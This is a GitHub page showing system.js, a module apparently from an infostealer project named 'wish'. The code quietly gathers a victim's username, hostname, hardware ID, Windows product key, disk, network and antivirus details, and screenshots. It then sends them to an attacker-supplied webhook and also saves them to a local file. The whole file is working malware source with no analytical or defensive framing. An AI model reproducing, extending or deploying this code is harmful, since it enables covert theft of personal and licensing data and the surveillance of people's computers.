forked from k4itrun/wish
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsystem.js
78 lines (70 loc) · 2.57 KB
/
system.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
const os = require('os');
const requests = require('../../utils/requests/requests.js');
const fileutil = require('../../utils/fileutil/fileutil.js');
const Software = require('../../utils/software/software.js');
module.exports = async (webhookUrl) => {
const {
WINDOWS_VERSION,
ANTIVIRUS_INFO,
WINDOWS_KEY,
SCREENSHOTS,
DISKS_INFO,
CPU_COUNT,
NETWORK,
UUID,
DISK,
CPU,
GPU,
RAM,
IP,
OS,
} = await Software();
const screen = SCREENSHOTS ? SCREENSHOTS : null
try {
await requests.Webhook(webhookUrl, {
embeds: [
{
title: 'System Information',
fields: [
{
name: 'User Information',
value: `\`\`\`Username: ${os.userInfo().username}\nHostname: ${os.hostname()}\`\`\``,
},
{
name: 'Disk Information',
value: `\`\`\`${DISKS_INFO}\`\`\``,
},
{
name: 'System Specs',
value: `\`\`\`OS: ${OS}\nCPU: ${CPU}\nGPU: ${GPU}\nRAM: ${RAM}\nHWID: ${UUID}\nProduct Key: ${WINDOWS_KEY}\`\`\``,
},
{
name: 'Network Details',
value: `\`\`\`${Object.entries(NETWORK).map(([name, value]) => `${name}: ${value}`).join('\n')}\`\`\``,
},
],
}
]
}, [screen]);
const systemInfo = [
`Username: ${os.userInfo().username}`,
`Hostname: ${os.hostname()}\n`,
`Local IP: ${IP}\n`,
`Disks: ${DISK}\n${DISKS_INFO}\n`,
`COUNT: ${CPU_COUNT}`,
`OS: ${OS}`,
`CPU: ${CPU}`,
`GPU: ${GPU}`,
`RAM: ${RAM}`,
`HWID: ${UUID}\n`,
`Windows Version: ${WINDOWS_VERSION}`,
`Product Key: ${WINDOWS_KEY}\n`,
`Network:\n${Object.entries(NETWORK).map(([name, value]) => `${name}: ${value}`).join('\n')}\n`,
`AntiVirus:\n${Object.entries(ANTIVIRUS_INFO).map(([name, value]) => `${name}: ${value}`).join('\n')}`,
];
const WishTempDir = fileutil.WishTempDir('system');
await fileutil.WriteDataToFile(WishTempDir, 'systemInfo.txt', systemInfo);
} catch (error) {
console.error(error);
}
};